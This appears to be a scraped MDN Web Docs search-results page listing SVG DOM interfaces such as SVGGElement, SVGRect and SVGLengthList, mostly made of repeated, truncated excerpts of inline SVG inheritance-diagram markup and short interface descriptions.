...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-bas...
...And 2 more matches
SVGFEFuncBElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-bas...
...And 2 more matches
SVGFEFuncGElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-bas...
...And 2 more matches
SVGFEFuncRElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgcomponenttransferfunctionelement" target="_top"><rect x="131" y="65" width="350" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-bas...
...And 2 more matches
SVGFEMorphologyElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfemorphologyelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="mid...
...And 2 more matches
SVGGElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 2 more matches
SVGGeometryElement - Web APIs
the svggeometryelement interface represents svg elements whose rendering is defined by geometry with an equivalent path, and which can be filled and stroked.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...And 2 more matches
SVGLengthList - Web APIs
an svglengthlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
...any changes made to the item are immediately reflected in the list.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
SVGLinearGradientElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggradientelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 2 more matches
SVGNumberList - Web APIs
an svgnumberlist object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
...any changes made to the item are immediately reflected in the list.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
SVGPolygonElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 2 more matches
SVGPolylineElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 2 more matches
SVGRadialGradientElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggradientelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 2 more matches
SVGRect - Web APIs
WebAPISVGRect
rectangles consist of an x and y coordinate pair identifying a minimum x value, a minimum y value, and a width and height, which are constrained to be non-negative.
... an svgrect object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgrect" target="_top"><rect x="1" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrect</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgrect.x the exact effect of this coordinate depends on each element.
...And 2 more matches
SVGSetElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">s...
...And 2 more matches
SVGTextElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
